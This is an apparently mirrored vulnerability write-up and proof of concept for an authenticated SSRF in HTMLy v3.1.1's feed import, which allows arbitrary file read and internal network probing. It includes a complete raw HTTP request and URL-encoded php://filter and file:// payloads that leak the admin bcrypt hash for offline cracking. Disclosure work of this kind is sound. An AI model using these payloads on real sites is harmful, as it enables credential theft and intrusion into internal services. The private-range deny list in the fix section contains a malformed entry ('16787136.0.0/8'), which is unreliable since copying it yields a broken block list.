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CVE-2026-37107 — Proof-of-concept and technical write-up for CVE-2026-37107, an authenticated SSRF in HTMLy v3.1.1's feed import that enables arbitrary file read via PHP stream wrappers and internal network probing. | Kitploit
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GitHubkyrieklay/cve-2026-37107

CVE-2026-37107

Proof-of-concept and technical write-up for CVE-2026-37107, an authenticated SSRF in HTMLy v3.1.1's feed import that enables arbitrary file read via PHP stream wrappers and internal network probing.

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CVE-2026-37107: HTMLy v3.1.1 — Authenticated SSRF via get_feed() Leads to Arbitrary File Read (php://filter / file://) and Internal Network Probing

  • CVE ID: CVE-2026-37107
  • Product: HTMLy (https://www.htmly.com/)
  • Affected Version: v3.1.1 (latest release at time of discovery, https://github.com/danpros/htmly/releases/tag/v3.1.1)
  • Affected Component: /system/admin/admin.php, function get_feed(), reachable via POST /admin/import
  • Vulnerability Type: CWE-918 Server-Side Request Forgery (SSRF) → arbitrary file read via PHP stream wrappers (CWE-552 / CWE-73)
  • Attack Type: Remote (requires an authenticated admin session and valid CSRF token)
  • Impact: Information Disclosure = true (admin credential hash disclosure + internal network SSRF)
  • Reporter: Feng Jiawei

1. Summary

HTMLy v3.1.1 exposes a "Import Feed" feature at POST /admin/import. The user-supplied url parameter is passed without any protocol/destination validation to get_feed(), which hands it directly to PHP's file_get_contents(). Because file_get_contents() accepts PHP stream wrappers, an authenticated admin can supply file://, php://filter/..., or http://127.0.0.1/... schemes to:

  1. Read arbitrary local files — including config/users/<user>.ini which stores the admin bcrypt password hash (via php://filter/convert.base64-encode to binary-safe the read);
  2. Discover the server's absolute web root path through file_get_contents() warning output;
  3. Probe and interact with internal network services (localhost and LAN HTTP endpoints).

The disclosed admin password hash can be cracked offline to recover the plaintext password (verified with hashcat -m 3200).

2. Root Cause

system/admin/admin.php lines 1531-1534:

// Fetch RSS feed
function get_feed($feed_url, $credit)
{
    $source = file_get_contents($feed_url);   // line 1533 — NO protocol validation
    $feed = new SimpleXmlElement($source);    // line 1534
    ...
}

Reachable from system/htmly.php (route POST /admin/import, lines 1772-1786):

post('/admin/import', function () {
    if(!login()) { ... }
    $proper = is_csrf_proper(from($_REQUEST, 'csrf_token'));
    $url = from($_REQUEST, 'url');            // line 1778 — attacker-controlled
    ...
    if ($role === 'admin') {
        if (!empty($url) && $proper) {
            get_feed($url, $credit);          // line 1785 — sinks into file_get_contents()
            $log = get_feed($url, $credit);   // line 1786 — note: called TWICE (also a defect)

No allow-list (e.g., http:///https:// only) is applied to $url anywhere in the call chain.

3. Verified Exploitation (lab reproduction)

Environment: Apache/2.4.43 + PHP 7.3.4 (mod_fcgid), HTMLy v3.1.1, attacker holds an admin account.

Step 1 — Absolute path discovery

url=file:///C:/ → the PHP warning discloses the absolute web root:

Warning: file_get_contents(file:///C:/): failed to open stream: No such file or directory
in D:\...\htmly-3.1.1\system\admin\admin.php on line 1533

Step 2 — Arbitrary file read via php://filter (admin password hash)

url=php://filter/convert.base64-encode/resource=<WEBROOT>/config/users/admin.ini

The base64-encoded file content is reflected in the SimpleXMLElement::__construct() parser-error output and in the fatal-error context; decoding yields:

password = $2y$10$WviBJCqjxQPOpwLKFNTez...   (bcrypt hash, cracked offline)
role     = admin

Step 3 — Internal network SSRF (verified with a callback listener)

url=http://127.0.0.1:<LISTENER_PORT>/feed.xml serving a valid RSS document → the listener received two HTTP GET requests from the server process (matching the duplicated get_feed() calls at lines 1785-1786), and the feed import completed, proving full request-forgery capability towards internal services.

Note: the raw base64/stack-trace reflection is visible when display_errors=On (as in the reporter's original test environment). With display_errors=Off the SSRF still executes (verified via callback + 500-vs-200 behavioral oracle); the file read itself is unaffected.

4. Raw HTTP Proof-of-Concept

POST /admin/import HTTP/1.1
Host: <TARGET_HOST>
Content-Length: 205
Cache-Control: max-age=0
Origin: http://<TARGET_HOST>
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;b3;q=0.7
Referer: http://<TARGET_HOST>/admin/import
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=<ADMIN_SESSION_ID>
Connection: keep-alive

url=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D<URL_ENCODED_FILE_PATH>&csrf_token=<CSRF_TOKEN>&submit=Start+Import+Feed

Payload reference (URL-encode :→%3A, /→%2F):

  • Path discovery: url=file%3A%2F%2F%2FC%3A%2F
  • File read (base64): url=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D<FILE_PATH>
  • Internal probing: url=http%3A%2F%2F127.0.0.1%3A3306 / url=http%3A%2F%2F192.168.1.100%3A8080

<CSRF_TOKEN> is obtained from the hidden csrf_token field on the GET /admin/import page (tied to the admin session).

5. Impact Assessment

ImpactConfirmedNotes
Internal network SSRFYesCallback listener received requests; attacker fully controls scheme/host/port
Arbitrary file readYesphp://filter chain returns binary-safe base64 of any readable file
Sensitive credential disclosureYesconfig/users/*.ini stores admin bcrypt hash
Admin credential recoveryYesOffline crack of leaked bcrypt hash (hashcat -m 3200, verified)
Absolute path disclosureYesfile_get_contents() warning output

6. Fix Recommendation

Validate the scheme in the route handler before calling get_feed():

$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, ['http', 'https'], true)) {
    // reject: render error, do not fetch
}

Defense-in-depth:

  • Resolve the hostname and reject private/loopback/link-local ranges (16787136.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, ::1, 169.254.0.0/16) to mitigate internal probing;
  • Disable dangerous stream wrappers via allow_url_fopen hardening where feasible, or fetch through cURL restricted to HTTP(S);
  • Remove the duplicated get_feed() call (line 1786);
  • Do not render raw PHP warnings/errors to end users.

7. Timeline

  • 2026-10-09: Vulnerability confirmed on HTMLy v3.1.1 in isolated lab environment; PoC validated end-to-end (path disclosure, admin hash file read, internal SSRF callback).

8. Reference

  • https://www.htmly.com/
  • https://github.com/danpros/htmly/releases/tag/v3.1.1
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